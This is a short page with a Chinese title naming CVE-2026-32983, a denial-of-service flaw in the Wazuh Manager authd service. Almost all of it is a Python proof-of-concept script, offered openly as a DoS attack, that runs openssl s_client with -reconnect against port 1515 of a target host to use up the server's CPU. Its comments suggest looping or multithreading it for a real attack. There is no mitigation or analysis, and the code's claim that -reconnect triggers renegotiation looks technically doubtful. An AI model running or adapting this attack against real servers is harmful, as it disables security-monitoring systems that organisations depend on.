CVE-2026-32983 Wazuh Manager拒绝服务漏洞

#!/usr/bin/env python3 # PoC for CVE-2026-32983: Wazuh Manager authd SSL/TLS Renegotiation DoS # This script uses openssl to send repeated renegotiation requests. import subprocess import time import sys TARGET_HOST = "target-ip" TARGET_PORT = "1515" def trigger_renegotiation(): print(f"[*] Starting DoS attack against {TARGET_HOST}:{TARGET_PORT}...") # Using openssl s_client with -reconnect flag to simulate renegotiations # In a real scenario, this would be looped or multi-threaded try: cmd = ["openssl", "s_client", "-connect", f"{TARGET_HOST}:{TARGET_PORT}", "-reconnect"] proc = subprocess.Popen(cmd, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) # Let it run for a few seconds to consume resources time.sleep(5) proc.terminate() print("[+] Request sent. Check server CPU usage.") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": trigger_renegotiation()